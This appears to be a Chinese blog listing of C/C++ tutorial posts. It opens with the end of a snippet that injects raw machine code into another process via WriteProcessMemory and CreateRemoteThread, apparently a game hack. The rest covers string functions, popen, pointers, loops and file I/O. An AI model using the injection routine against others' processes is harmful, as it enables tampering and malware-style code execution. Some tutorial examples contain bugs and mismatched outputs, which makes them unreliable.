0x00, 0x00, // enter 0,0 0x68, 0x01, 0x00, 0x01, 0x52, // push 52010001 0xBB, 0x60, 0x38, 0x44, 0x00, // mov ebx, 0x443860 0xFF, 0xD3, // call ebx 0x83, 0xC4, 0x04, // add esp, 0x4 0x6A, 0x00, // push 0x0 0x6A, 0x01, // push 0x1 0x6A, 0xFF, // push 0xFFFFFFFF 0x6A, 0x05, // push 0x5 0x68, 0x00, 0x00, 0x01, 0x06, // push 0x6010000 0x68, 0x01, 0x00, 0x01, 0x52, // push 0x52010001 0xBB, 0x00, 0x38, 0x44, 0x00, // mov ebx, 0x443800 0xFF, 0xD3, // call ebx 0x83, 0xC4, 0x18, // add esp, 0x18 0x6A, 0x00, // push 0x0 0x6A, 0x00, // push 0x0 0x6A, 0xFF, // push 0xFFFFFFFF 0x6A, 0x06, // push 0x6 0x68, 0x00, 0x00, 0x01, 0x06, // push 0x6010000 0x68, 0x01, 0x00, 0x01, 0x52, // push 0x52010001 0xBB, 0x00, 0x38, 0x44, 0x00, // mov ebx, 0x443800 0xFF, 0xD3, // call ebx 0x83, 0xc4, 0x18, // add esp, 0x18 0xBB, 0x30, 0x38, 0x44, 0x00, // mov ebx, 0x443830 0xFF, 0xD3, // call ebx 0xC9, // leave 0xC3 // ret }; // 将机器码写入远程进程内存 if (!WriteProcessMemory(hProcess, pCode, Hexcode, sizeof(Hexcode), NULL)) { VirtualFreeEx(hProcess, pCode, 0, MEM_RELEASE); CloseHandle(hProcess); return 1; } // 创建远程线程执行注入的机器码 HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pCode, NULL, 0, NULL); if (hThread == NULL) { VirtualFreeEx(hProcess, pCode, 0, MEM_RELEASE); CloseHandle(hProcess); return 1; } // 等待线程执行完成 WaitForSingleObject(hThread, INFINITE); VirtualFreeEx(hProcess, pCode, 0, MEM_RELEASE); // 释放远程内存 CloseHandle(hThread); CloseHandle(hProcess); return 0; }{/collapse-item}{/collapse}
2022年02月04日
74 阅读
0 评论
19 点赞
2021-04-12
【技术分享】C++ strcpy strncpy 函数
简介strncpy 与 strcpy 差不多都是字符串复制,strncpy函数就多了一个参数可以指定复制的字符数。dest -- 指向用于存储复制内容的目标数组。src -- 要复制的字符串。n -- 要从源中复制的字符数。char *strncpy(char *dest, const char *src, size_t n)#include <iostream> #include <cstring> using namespace std; int main() { string str = "act"; // 创建字符串变量 str char _dst1[1024]; // 创建char _dst2 char _dst2[1024]; // 创建char _dst2 memset(_dst1, '\0', sizeof(_dst1)); // 使用函数 memset() 来清除内存位置 strcpy(_dst1, str.c_str()); // 直接复制str里的字符串 strncpy(_dst2, str.c_str(), 2); // 复制字符串 指定两个字符 cout << _dst1 << ","<< _dst2; return 0; }输出:act,ac1.这个函数要注意,很有可能会导致内存溢出,我给他的buf是 _dst1[1024],如果要复制的内容超出1024那么就会导致溢出。
2021年04月12日
11 阅读
0 评论
2 点赞
2021-04-11
【技术分享】C++ find rfind 语句
简介在C++里 查找字符串位置,可以用到 find 和 rfind,一个从头开找,另个是从尾找。简单例子#include <iostream> using namespace std; int main() { string str = "Hello, World!"; unsigned long f = str.find("l", 4); // 从头偏移4位 就找到World里的l了 unsigned long r = str.rfind("l", 4);// 从尾偏移4位 就找到Hello里的l了 cout << f << "," << r << endl; return 0; }输出:10,3
2021年04月11日
17 阅读
0 评论
1 点赞
2021-04-10
【技术分享】C++ 调用cmd命令
简介个人感觉:能结合外部系统命令或程序是很关键的,在开发中也会用到很多的库和系统提供的api接口,这样才能使我们的程序功能更加的强大,在C++中能执行CMD命令的函数,有system和popen第一个只会执行命令并不能把返回结果传递到变量上,而第二个正好是可以。system函数#include <iostream> int main() { system("ping 127.0.0.1"); return 0; }输出: 正在 Ping 127.0.0.1 具有 32 字节的数据: 来自 127.0.0.1 的回复: 字节=32 时间<1ms TTL=128 来自 127.0.0.1 的回复: 字节=32 时间<1ms TTL=128 来自 127.0.0.1 的回复: 字节=32 时间<1ms TTL=128 来自 127.0.0.1 的回复: 字节=32 时间<1ms TTL=128 127.0.0.1 的 Ping 统计信息: 数据包: 已发送 = 4,已接收 = 4,丢失 = 0 (0% 丢失), 往返行程的估计时间(以毫秒为单位): 最短 = 0ms,最长 = 0ms,平均 = 0ms1.system只能执行,返回的内容不能保存在变量里。popen函数#include <iostream> #include <stdlib.h> #include <stdlib.h> using namespace std; string cmd(const char *cmd, const int buffer) { char _str[buffer]; string cmd_str; FILE *f = popen("ping 127.0.0.1", "r"); while (fgets(_str, buffer, f) != NULL) { cmd_str += _str; } return cmd_str; } int main() { cout << cmd("dir", 1024); return 0; }输出: 正在 Ping 127.0.0.1 具有 32 字节的数据: 来自 127.0.0.1 的回复: 字节=32 时间<1ms TTL=128 来自 127.0.0.1 的回复: 字节=32 时间<1ms TTL=128 来自 127.0.0.1 的回复: 字节=32 时间<1ms TTL=128 来自 127.0.0.1 的回复: 字节=32 时间<1ms TTL=128 127.0.0.1 的 Ping 统计信息: 数据包: 已发送 = 4,已接收 = 4,丢失 = 0 (0% 丢失), 往返行程的估计时间(以毫秒为单位): 最短 = 0ms,最长 = 0ms,平均 = 0ms1.popen返回的内容可以保存到变量里。
2021年04月10日
30 阅读
0 评论
1 点赞
2021-04-09
【技术分享】C++ 指针引用
简介首先了解下什么是指针:我的理解:在我们创建一个变量时,运行的时候就会在内存中开辟一块空间用来存储数据,指针是内存地址,指针变量是用来存放内存地址的变量,当我们需要这个地址的值时,只需要指向这块内存地址就可以获取到地址里的数据了。指针在初始化可为空,指针指向的对象可以改变,引用不能为空,必须和引用对象绑定,之后就不能改变了。指针和引用并没有本质区别,引用的底层就是指针,只是做了一层封装。简单例子#include <iostream> using namespace std; int main() { int x = 10; // 创建一个整数变量 就会在内存开辟一个地址空间 int *i = &x; // &x 是取 x 的地址 再存放到空指针里 那么i就是x的地址了 int &j = x; // 取 x 的地址数据 赋值给 j cout << i << endl; cout << j << endl; }输出: i:0x61fe0c j:10#include <iostream> using namespace std; void change(int &x, int &y) { int temp; temp = x; x = y; y = temp; } int main() { int i = 10; int j = 20; change(i, j); cout << i << "," << j << endl; }输出:20,10
2021年04月09日
33 阅读
0 评论
4 点赞
2021-04-09
【技术分享】C++ 命名空间
简介1.为什么要有命名空间? 其实很简单在开发中我们会创建函数比如 test(),在另一个可用的库中也存在一个相同的test()函数,这个时候编译器就无法判断你使用的是哪一个函数。2.因此,我们要引入命名空间,它是用来专门解决这个问题的,它是用来区分不同库中的相同名称的函数、类、变量等。 使用命名空间就可以定义上下文。3.简单来说,命名空间就是定义一个范围,以下例子可以让你很清楚的了解到。用命名空间前#include <iostream> int main() { std::cout << "Hello, World!" << std::endl; // 没用前发现要接std::才可以使用 return 0; }用命名空间后#include <iostream> using namespace std; // 使用命名空间后 int main() { cout << "Hello, World!" << endl; // 发现不需要std::了 return 0; }命名空间前后关系#include <iostream> int main() { cout << "Hello, World!" << endl; using namespace std; // 关键的来了 要是把位置放在这里 那么上面的语句就找不到会报错,只会认识下面的。 cout << "Hello, World!" << endl; return 0; }
2021年04月09日
56 阅读
0 评论
2 点赞
2021-04-08
【技术分享】C语言学习笔记
简介很早以前就学过C语言了,那个时候Python刚热门起来也学了下来,毕竟轮子多嘛方便,后面不怎么用C了慢慢的就忘记了,现在整理下复习笔记,方便自己查阅资料。C语言环境安装Mingw下载地址: https://sourceforge.net/projects/mingw/files/Installer/mingw-get-setup.exe1.下载完后运行Mingw,到这个界面后点击左上角的 Basic Setup,在右边面板寻找 mingw32-gcc-g++,鼠标右击并点击 Mark for Installation,之后再点击左上角的 Installation > Apply Changes。2.下载完后关掉所有界面,右击"此电脑" > 属性 > 高级系统设置 > 环境变量 > 在下面的系统变量中双击Path,如果之前没有改过安装路径,就添加 C:\MinGW\bin,按情况来添加。gcc --version3.添加好后输入 gcc --version 回车,能看见正常显示那就没问题了,只要配置了gcc的环境变量,那么vscode也可以运行。VSCode运行C代码1.到vscode应用商店安装,Code Runner 有了这个插件就很方便了,直接在vscode里运行代码。gcc编译器运行C程序gcc a.c -o a && a // C g++ a.cpp -o a && a // C++1.通过终端输入以上gcc命令,也是可以执行成功的。C语言中的关键字1.在C语言中,有32个关键字,它们具有预定义的含义,不能用作变量名,这些词也被称为 "保留词",最好避免将这些关键字用作变量名。if,else,switch,case,default – 用于决策控制编程结构。 break – 用于任何循环或者switch-case。 int,float,char,double,long – 这些是数据类型,在变量声明期间使用。 for,while – C 中的循环结构类型。 void – 其中一种返回类型。 goto – 用于重定向执行流程。 auto,signed,const,extern,register,unsigned – 定义一个变量。 return – 该关键字用于返回值。 continue – 它通常与for,while和do-while循环一起使用,当编译器遇到此语句时,它执行循环的下一次迭代,跳过当前迭代的其余语句。 enum – 常量集。 sizeof – 用于了解尺寸。 struct, typedef – 结构中使用的这两个关键字(单个记录中的数据类型分组)。 union – 它是一组变量,它们共享相同的内存位置和内存存储。 volatile编写第一个C程序先来编写一个经典的开场,那就是你好世界啦,C语言是强类编译型语言,文件后缀是以.c结尾,c++是以.cpp结尾。好了先创建一个 a.c 文件,将以下代码写入 a.c 文件里,然后再运行。#include <stdio.h> // 预处理器指令,告诉C编译器在实际编译之前要包含 stdio.h 文件 int main() { // main主函数,程序从这里开始执行 printf("Hello, World!"); // 输出函数 会在终端上显示内容 return 0; // 终止 main() 函数,并返回值 0 }输出结果:Hello, World!代码注释1.在日常的开发中,代码只会越写越多,而且不止是你一人在写,在团队中要想别人看的懂你的代码,就要用到注释了。// 单行注释 /* 多行注释 */ 2.内容写在注释里,编译器会忽略掉注释里的内容,这样就会方便我们在做开发的时候阅读代码。if-else语句if else语句的语法:如果条件返回true,则执行if正文内的语句,并跳过else正文内的语句。如果条件返回false,则跳过if正文中的语句,并执行else中的语句。if(condition) { // Statements inside body of if } else { //Statements inside body of else }#include <stdio.h> int main() { int par = 1; if (par == 1) { // 判断变量par 是否为真 printf("up"); // 成立就执行对的 }else{ printf("down"); // 否则就不成立 } return 0; }输出:upfor循环C语言中最常用的循环。步骤 1:首次初始化发生,计数器变量初始化。步骤 2:在第二步中检查条件,其中计数器变量由给定条件测试,如果条件返回true则执行for循环体内的 C 语句,如果条件返回false,则for循环终止,控制流退出循环。步骤 3:成功执行循环体内语句后,计数器变量会递增或递减,具体取决于操作(++或--)。for (initialization; condition test; increment or decrement) { //Statements to be executed repeatedly }#include <stdio.h> int main() { int i; for (i=1; i<=3; i++) { printf("%d\n", i); } return 0; }输出: 1 2 3C语言中的各种形式的for循环,我在以下所有例子中使用变量num作为计数器。1.这里使用num = num + 1而不是num ++。for (num=10; num<20; num=num+1)2.初始化部分可以从循环中跳过,如下所示,计数器变量在循环之前声明。int num=10; for (;num<20;num++)注意:即使我们可以跳过初始化部分但是分号(;)必须保留,否则你将得到编译错误。3.与初始化一样,您也可以跳过增量部分,如下所示。在这种情况下,分号(;)必须在条件逻辑之后。在这种情况下,增量或减量部分在循环内完成。for (num=10; num<20; ) { //Statements num++; } 4.这也是可能的,计数器变量在循环之前初始化并在循环内递增。int num=10; for (;num<20;) { //Statements num++; }5.如上所述,计数器变量也可以递减。在下面的示例中,每次循环运行时变量都会递减,直到条件num > 10返回false。for(num=20; num>10; num--)6.C语言中的嵌套for循环循环嵌套也是可能的。让我们举个例子来理解这个:#include <stdio.h> int main() { for (int i=0; i<2; i++) { for (int j=0; j<4; j++) { printf("%d, %d\n",i ,j); } } return 0; }输出: 0, 0 0, 1 0, 2 0, 3 1, 0 1, 1 1, 2 1, 37.在上面的例子中,我们在另一个for循环中有一个for循环,这称为循环嵌套。我们使用嵌套for循环的示例之一是二维数组。在 C 中循环内部进行多次初始化我们可以在for循环中进行多次初始化,如下所示。for (i=1,j=1;i<10 && j<10; i++, j++)上面的循环和简单的for循环有什么区别?它正在初始化两个变量。注意:两者都用逗号(,)分隔。它有使用 与(&&)逻辑运算符连接在一起的两个测试条件。注意:您不能使用以逗号分隔的多个测试条件,您必须使用逻辑运算符,例如&&或||连接条件。增量部分有两个变量。注意:应以逗号分隔。8.具有多个测试条件的for循环的示例#include <stdio.h> int main() { int i,j; for (i=1,j=1 ; i<3 || j<5; i++,j++) { printf("%d, %d\n",i ,j); } return 0; }输出: 1 2 3while循环1.循环用于重复执行语句块,如果条件返回true,则执行while循环体内的语句,否则控制退出循环。while (condition test) { //Statements to be executed repeatedly // Increment (++) or Decrement (--) Operation }#include <stdio.h> int main() { int count=1; while (count <= 4) { printf("%d ", count); count++; } return 0; }输出:1 2 3 42.while循环中使用逻辑运算符,就像关系运算符(< > <= >= == !=)一样,我们也可以在while循环中使用逻辑运算符。while(num1<=10 && num2<=10)while(num1<=10||num2<=10)while(num1!=num2 &&num1 <=num2)while(num1!=10 ||num2>=num1)3.在while循环中使用逻辑运算符测试多个条件#include <stdio.h> int main() { int i=1, j=1; while (i <= 4 || j <= 3) { printf("%d %d\n",i, j); i++; j++; } return 0; }输出: 1 1 2 2 3 3 4 4break语句1.break是用来退出循环的。#include <stdio.h> int main() { int num =0; while(num<=100) { printf("value of variable num is: %d\n", num); if (num==2) { break; } num++; } printf("Out of while-loop"); return 0; }输出: value of variable num is: 0 value of variable num is: 1 value of variable num is: 2 Out of while-loop2.在for循环中使用break#include <stdio.h> int main() { int var; for (var =100; var>=10; var --) { printf("var: %d\n", var); if (var==99) { break; } } printf("Out of for-loop"); return 0; }输出: var: 100 var: 99 Out of for-loop3.在switch-case中使用break语句#include <stdio.h> int main() { int num; printf("Enter value of num:"); scanf("%d",&num); switch (num) { case 1: printf("You have entered value 1\n"); break; case 2: printf("You have entered value 2\n"); break; case 3: printf("You have entered value 3\n"); break; default: printf("Input value is other than 1,2 & 3 "); } return 0; }输出: Enter value of num:2 You have entered value 2continue语句当在循环内遇到 continue语句时,控制流跳转到循环的开头以进行下一次迭代,跳过当前迭代循环体内语句的执行。#include <stdio.h> int main() { for (int j=0; j<=8; j++) { if (j==4) { continue; } printf("%d ", j); } return 0; }输出:0 1 2 3 5 6 7 8switch-case语句1.当我们有多个选项时,使用C语言switch-case语句,我们需要为每个选项执行不同的任务。switch (variable or an integer expression) { case constant: //C Statements ; case constant: //C Statements ; default: //C Statements ; }2.在switch-case中使用数字#include <stdio.h> int main() { int num=2; switch(num+2) { case 1: printf("Case1: Value is: %d", num); case 2: printf("Case1: Value is: %d", num); case 3: printf("Case1: Value is: %d", num); default: printf("Default: Value is: %d", num); } return 0; }输出:Default: value is: 23.在switch-case中使用字符#include <stdio.h> int main() { char ch='b'; switch (ch) { case 'd': printf("CaseD "); break; case 'b': printf("CaseB"); break; case 'c': printf("CaseC"); break; case 'z': printf("CaseZ "); break; default: printf("Default "); } return 0; }输出:CaseB4.switch的有效表达式switch(1+2+23) switch(1*2+3%4)5.无效的switch表达式switch(ab+cd) switch(a+b+c)goto语句goto label_name; .. .. label_name: C-statements#include <stdio.h> int main() { int sum=0; for(int i = 0; i<=10; i++){ sum = sum+i; if(i==5){ goto addition; } } addition: printf("%d", sum); return 0; }输出:15C语言按引用函数讨论按引用函数调用之前,让我们理解我们将在解释这个时使用的术语。实际参数:函数调用中出现的参数。形式参数:函数声明中出现的参数。int sum(int a, int b);int s = sum(10, 20); //Here 10 and 20 are actual parameters or int s = sum(n1, n2); //Here n1 and n2 are actual parameters按引用函数调用的示例#include <stdio.h> void increment(int *var) { *var = *var+1; } int main() { int num=20; increment(&num); printf("Value of num is: %d", num); return 0; }输出:Value of num is: 21在调用swapnum()函数后,变量的值已经更改,因为交换发生在变量num1和num2的地址上#include <stdio.h> void swapnum ( int *var1, int *var2 ) { int tempnum ; tempnum = *var1 ; *var1 = *var2 ; *var2 = tempnum ; } int main( ) { int num1 = 35, num2 = 45 ; printf("Before swapping:"); printf("\nnum1 value is %d", num1); printf("\nnum2 value is %d", num2); swapnum( &num1, &num2 ); printf("\nAfter swapping:"); printf("\nnum1 value is %d", num1); printf("\nnum2 value is %d", num2); return 0; }输出: Before swapping: num1 value is 35 num2 value is 45 After swapping: num1 value is 45 num2 value is 35文件I/O操作1.在上面的程序中,我们在r模式下打开文件newfile.txt,读取文件内容并在控制台上显示。#include <stdio.h> int main() { FILE *fp1; char c; fp1= fopen ("C:\\myfiles\\newfile.txt", "r"); while(1) { c = fgetc(fp1); if(c==EOF) break; else printf("%c", c); } fclose(fp1); return 0; }打开文件fopen()函数用于打开文件。FILE pointer_name = fopen ("file_name", "Mode");pointer_name可以是您选择的任何东西。file_name是您要打开的文件的名称。在此处指定完整路径,如C:\myfiles\newfile.txt。打开文件时,需要指定模式。我们用来读取文件的模式是r,它是 "只读模式"。FILE *fp; fp = fopen("C:\\myfiles\\newfile.txt", "r");第一个字符的地址存储在pointer fp中。如何检查文件是否已成功打开?如果文件未成功打开,则指针将被赋予NULL值,因此您可以编写如下逻辑:此代码将检查文件是否已成功打开。如果文件未打开,则会向用户显示错误消息。FILE fpr; fpr = fopen("C:\\myfiles\\newfile.txt", "r"); if (fpr == NULL) { puts("Error while opening file"); exit(); }文件打开模式使用fopen()函数打开文件,打开时可以根据需要使用以下任何一种模式。模式r:这是一种只读模式,这意味着如果文件在r模式下打开,它将不允许您编写和修改它的内容。当fopen()成功打开文件时,它返回文件第一个字符的地址,否则返回NULL。模式w:这是一种只写模式。fopen()函数在指定文件不存在时创建新文件,如果无法打开文件,则返回NULL。模式a:使用此模式,内容可以附加在现有文件的末尾。与模式w类似,如果文件不存在,fopen()会创建一个新文件。在打开不成功时,它返回NULL。文件指针指向:文件的最后一个字符。模式r+:此模式与模式r相同;但是,您可以对在此模式下打开的文件执行各种操作。您可以读取,写入和修改以r+模式打开的文件内容。文件指针指向:文件的第一个字符。模式w+:与可以执行的操作相同的模式w相同;可以在此模式下读取,写入和修改文件。模式a+:与模式a相同;您可以在文件中读取和附加数据,但在此模式下不允许进行内容修改。读取文件要读取文件,我们必须首先使用任何模式打开它,例如,如果您只想读取文件,然后以r模式打开它。根据文件打开期间选择的模式,我们可以对文件执行某些操作。fgetc():该函数从当前指针的位置读取字符,成功读取后,将指针移动到文件中的下一个字符。一旦指针到达文件的末尾,该函数返回 EOF(文件结束)。我们在程序中使用了 EOF 来确定文件的结尾。#include <stdio.h> int main() { FILE *fp1; char c; fp1 = fopen ("C:\\myfiles\\newfile.txt", "r"); while(1) { c = fgetc(fp1); if(c==EOF) break; else printf("%c", c); } fclose(fp1); return 0; }写入文件要写入文件,我们必须以支持写入的模式打开文件。例如,如果以r模式打开文件,则无法写入文件,因为r是只允许读取的只读模式。#include <stdio.h> int main() { char ch; FILE *fpw; fpw = fopen("C:\\newfile.txt","w"); if(fpw == NULL) { printf("Error"); exit(1); } printf("Enter any character: "); scanf("%c",&ch); fprintf(fpw,"%c",ch); fclose(fpw); return 0; }关闭文件fclose(fp);fclose()函数用于关闭打开的文件。作为参数,您必须提供指向要关闭的文件的指针。#include <stdio.h> int main() { char ch; FILE *fpr, *fpw; fpr = fopen("C:\\file1.txt", "r"); if (fpr == NULL) { puts("Input file cannot be opened"); } fpw= fopen("C:\\file2.txt", "w"); if (fpw == NULL) { puts("Output file cannot be opened"); } while(1) { ch = fgetc(fpr); if (ch==EOF) break; else fputc(ch, fpw); } fclose(fpr); fclose(fpw); return 0; }二进制文件的文件I/O如果文件是二进制文件(例如.exe文件)。上述程序不适用于二进制文件,但处理二进制文件时有一些细微的变化。主要区别在于文件名和模式。 让我们在一个例子的帮助下理解这一点。可以说我有两个二进制文件bin1.exe和bin2.exe– 我想将bin1.exe的内容复制到bin2.exe#include <stdio.h> int main() { char ch; FILE *fpbr, *fpbw; fpbr = fopen("bin1.exe", "rb"); if (fpbr == NULL) { puts("Input Binary file is having issues while opening"); } fpbw= fopen("bin2.exe", "wb"); if (fpbw == NULL) { puts("Output binary file is having issues while opening"); } while(1) { ch = fgetc(fpbr); if (ch==EOF) break; else fputc(ch, fpbw); } fclose(fpbr); fclose(fpbw); return 0; }指针的概念指针是存储另一个变量的地址的变量。与保存某种类型值的其他变量不同,指针保存变量的地址。例如,整数变量保存(或者可以说是存储)整数值,但整数指针保存整数变量的地址。在本指南中,我们将在示例的帮助下讨论C 编程中的指针。在这个程序中,我们有一个int类型的变量。num的值是 10,这个值必须存储在内存中的某个地方,对吧?为保存该变量值的变量分配一个内存空间,该内存空间有一个地址。例如,我们住在一所房子里,我们的房子有一个地址,帮助其他人找到我们的房子。同样,变量的值存储在内存地址中,这有助于 C 程序在需要时找到该值。因此,假设分配给变量num的地址是0x7fff5694dc58,这意味着我们应该将赋给num的任何值存储在以下位置:0x7fff5694dc58。#include <stdio.h> int main() { int num = 10; printf("Value of variable num is: %d", num); printf("\nAddress of variable num is: %p", &num); return 0; }输出: Value of variable num is: 10 Address of variable num is: 0x7fff5694dc58打印数组元素地址的简单示例#include <stdio.h> int main( ) { int val[7] = { 11, 22, 33, 44, 55, 66, 77 } ; for ( int i = 0 ; i < 7 ; i++ ) { printf("val[%d]: value is %d and address is %d\n", i, val[i], &val[i]); } return 0; }输出: val[0]: value is 11 and address is 1423453232 val[1]: value is 22 and address is 1423453236 val[2]: value is 33 and address is 1423453240 val[3]: value is 44 and address is 1423453244 val[4]: value is 55 and address is 1423453248 val[5]: value is 66 and address is 1423453252 val[6]: value is 77 and address is 1423453256C语言中的数组和指针示例#include <stdio.h> int main( ) { int *p; int val[7] = { 11, 22, 33, 44, 55, 66, 77 } ; p = &val[0]; for ( int i = 0 ; i<7 ; i++ ) { printf("val[%d]: value is %d and address is %p\n", i, *p, p); p++; } return 0; }输出: val[0]: value is 11 and address is 0x7fff51472c30 val[1]: value is 22 and address is 0x7fff51472c34 val[2]: value is 33 and address is 0x7fff51472c38 val[3]: value is 44 and address is 0x7fff51472c3c val[4]: value is 55 and address is 0x7fff51472c40 val[5]: value is 66 and address is 0x7fff51472c44 val[6]: value is 77 and address is 0x7fff51472c48数组的使用数组是相同数据类型的分组(或集合)。例如,int数组包含int类型的元素,而float数组包含float类型的元素。C 中声明数组int num[35]; /* An integer array of 35 elements */ char ch[10]; /* An array of characters for 10 elements */C语言中访问数组的元素您可以使用数组下标(或索引)来访问存储在数组中的任何元素。下标从 0 开始,这意味着arr[0]代表数组arr中的第一个元素。通常,arr[n-1]可用于访问数组的第n个元素。其中n是任何整数。int mydata[20]; mydata[0] /* first element of array mydata*/ mydata[19] /* last (20th) element of array mydata*/#include <stdio.h> int main() { int avg = 0; int sum =0; int x=0; int num[4]; for (x=0; x<4;x++) { printf("Enter number %d \n", (x+1)); scanf("%d", &num[x]); } for (x=0; x<4;x++) { sum = sum+num[x]; } avg = sum/4; printf("Average of entered number is: %d", avg); return 0; }输出: Enter number 1 10 Enter number 2 10 Enter number 3 20 Enter number 4 40 Average of entered number is: 20这里我们将数组从 0 迭代到 3,因为数组的大小是 4。在循环内部,我们向用户显示一条消息以输入值。使用scanf函数将所有输入值存储在相应的数组元素中。输入数据到数组for (x=0; x<4;x++) { printf("Enter number %d \n", (x+1)); scanf("%d", &num[x]); }数组中读出数据for (x=0; x<4;x++) { printf("num[%d]\n", num[x]); }初始化数组的不同方式int arr[5] = {1, 2, 3, 4 ,5}; int arr[] = {1, 2, 3, 4, 5};简单的二维数组#include<stdio.h> int main() { int disp[2][3]; int i, j; for(i=0; i<2; i++) { for(j=0;j<3;j++) { printf("Enter value for disp[%d][%d]:", i, j); scanf("%d", &disp[i][j]); } } printf("Two Dimensional array elements:\n"); for(i=0; i<2; i++) { for(j=0;j<3;j++) { printf("%d ", disp[i][j]); if(j==2){ printf("\n"); } } } return 0; }输出: Enter value for disp[0][0]:1 Enter value for disp[0][1]:2 Enter value for disp[0][2]:3 Enter value for disp[1][0]:4 Enter value for disp[1][1]:5 Enter value for disp[1][2]:6 Two Dimensional array elements: 1 2 3 4 5 6 二维数组的初始化int disp[2][4] = { {10, 11, 12, 13}, {14, 15, 16, 17} }; int disp[2][4] = { 10, 11, 12, 13, 14, 15, 16, 17};虽然上述两个声明都是有效的,但我建议您使用第一个方法,因为它更具可读性,因为您可以在此方法中可视化 2d 数组的行和列。指针和二维数组#include <stdio.h> int main() { int abc[5][4] ={ {0,1,2,3}, {4,5,6,7}, {8,9,10,11}, {12,13,14,15}, {16,17,18,19} }; for (int i=0; i<=4; i++) { printf("%d ",abc[i]); } return 0; }数组传递给函数#include <stdio.h> void disp( char ch) { printf("%c ", ch); } int main() { char arr[] = {'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j'}; for (int x=0; x<10; x++) { disp (arr[x]); } return 0; }输出:a b c d e f g h i j按引用传递数组给函数#include <stdio.h> void disp( int *num) { printf("%d ", *num); } int main() { int arr[] = {1, 2, 3, 4, 5, 6, 7, 8, 9, 0}; for (int i=0; i<10; i++) { disp (&arr[i]); } return 0; }输出:1 2 3 4 5 6 7 8 9 0将整个数组作为参数传递给函数#include <stdio.h> void myfuncn( int *var1, int var2) { for(int x=0; x<var2; x++) { printf("Value of var_arr[%d] is: %d \n", x, *var1); var1++; } } int main() { int var_arr[] = {11, 22, 33, 44, 55, 66, 77}; myfuncn(var_arr, 7); return 0; }输出: Value of var_arr[0] is: 11 Value of var_arr[1] is: 22 Value of var_arr[2] is: 33 Value of var_arr[3] is: 44 Value of var_arr[4] is: 55 Value of var_arr[5] is: 66 Value of var_arr[6] is: 77 函数的概念函数是执行特定任务的语句块。假设您正在使用 C语言构建应用,并且在某个程序中,您需要多次执行相同的任务。1.预定义的标准库函数 – 如puts(),gets(),printf(),scanf()等,这些函数已经在头文件中有定义(.h文件如stdio.h),所以我们只要在需要使用它们时调用它们。2.用户定义函数 – 我们在程序中创建的函数称为用户定义函数。为什么需要函数1.提高代码的可读性。2.提高代码的可重用性,可以在任何程序中使用相同的函数,而不是从头开始编写相同的代码。3.如果使用函数,代码的调试会更容易,因为错误很容易被跟踪。4.减少代码的大小,重复的语句集被函数调用替换。return_type function_name (argument list) { Set of statements – Block of code }#include <stdio.h> int addition(int num1, int num2) { int sum; sum = num1+num2; return sum; } int main() { int var1, var2; printf("Enter number 1: "); scanf("%d",&var1); printf("Enter number 2: "); scanf("%d",&var2); int res = addition(var1, var2); printf ("输出: %d", res); return 0; }常见的字符串处理函数strcat函数函数用于字符串连接,它在另一个指定字符串的末尾连接指定的字符串。char *strcat(char *str1, const char *str2)此函数将两个指针作为参数,并在连接后返回指向目标字符串的指针。str1 – 指向目标字符串的指针。str2 – 指向附加到目标字符串的源字符串的指针。#include <stdio.h> #include <string.h> int main () { char str1[50], str2[50]; strcpy(str1, "This is my initial string"); strcpy(str2, ", add this"); strcat(str1, str2); printf("String after concatenation: %s", str1); return 0; }输出:String after concatenation: This is my initial string, add thisstrncat函数类似的strncat()函数,它与 strcat()相同,只是 strncat()只将指定数量的字符附加到目标字符串。char *strncat(char *str1, const char *str2, size_t n)str1 – 目标字符串。str2 – 附加在目标字符串str1末尾的源字符串。n – 需要追加的源字符串str2的字符数。例如,如果这是 5,则只有源字符串str2的前 5 个字符将附加在目标字符串str1的末尾。返回值:该函数返回指向目标字符串str1的指针。#include <stdio.h> #include <string.h> int main () { char str1[50], str2[50]; strcpy(str1, "This is my initial string"); strcpy(str2, ", add this"); printf("String after concatenation: %s\n", strncat(str1, str2, 5)); printf("Destination String str1: %s", str1); return 0; }输出: String after concatenation: This is my initial string, add Destination String str1: This is my initial string, addstrchr函数给定字符串中搜索指定字符的出现,并返回指向它的指针。char *strchr(const char *str, int ch)str – 在其中搜索字符的字符串。ch – 在字符串str中搜索的字符。#include <stdio.h> #include <string.h> int main () { const char str[] = "This is just a String"; const char ch = 'u'; char *p; p = strchr(str, ch); printf("String starting from %c is: %s", ch, p); return 0; }输出: String starting from u is: ust a Stringstrcmp函数int strcmp(const char *str1, const char *str2)str1 – 第一个字符串 str2 – 第二个字符串 0:如果两个字符串相等 > 0:如果字符串str1的第一个不匹配字符的 ASCII 值大于字符串str2中的字符 < 0:如果字符串str1的第一个不匹配字符的 ASCII 值小于字符串str2中的字符#include <stdio.h> #include <string.h> int main () { char str1[20]; char str2[20]; int result; strcpy(str1, "hello"); strcpy(str2, "hEllo"); result = strcmp(str1, str2); if(result > 0) { printf("ASCII value of first unmatched character of str1 is greater than str2"); } else if(result < 0) { printf("ASCII value of first unmatched character of str1 is less than str2"); } else { printf("Both the strings str1 and str2 are equal"); } return 0; }输出:ASCII value of first unmatched character of str1 is greater than str2strncmp函数strncmp()函数,它与strcmp()相同,但strncmp()比较仅限于函数调用期间指定的字符数。例如,strncmp(str1, str2, 4)仅比较字符串str1和str2的前四个字符。int strncmp(const char *str1, const char *str2, size_t n)str1 – 第一个字符串 str2 – 第二个字符串 n – 需要比较的字符数。 0,如果字符串str1和str2都相等 > 0,如果str1的第一个不匹配字符的 ASCII 值大于str2 < 0,如果str1的第一个不匹配字符的 ASCII 值小于str2#include <stdio.h> #include <string.h> int main () { char str1[20]; char str2[20]; int result; strcpy(str1, "hello"); strcpy(str2, "helLO WORLD"); result = strncmp(str1, str2, 3); if(result > 0) { printf("ASCII value of first unmatched character of str1 is greater than str2"); } else if(result < 0) { printf("ASCII value of first unmatched character of str1 is less than str2"); } else { printf("Both the strings str1 and str2 are equal"); } return 0; }输出:Both the strings str1 and str2 are equalstrcoll函数strcmp()函数,它比较两个字符串并根据比较结果返回一个整数。int strcoll(const char *str1, const char *str2)str1 – 第一个字符串 str2 – 第二个字符串 > 0:如果字符串str1中第一个不匹配字符的 ASCII 值大于str2。 < 0:如果字符串str1中第一个不匹配字符的 ASCII 值小于str2。 = 0:如果两个字符串相等#include <stdio.h> #include <string.h> int main () { char str1[20]; char str2[20]; int result; strcpy(str1, "HELLO"); strcpy(str2, "hello world!"); result = strcoll(str1, str2); if(result > 0) { printf("ASCII value of first unmatched character of str1 is greater than str2"); } else if(result < 0) { 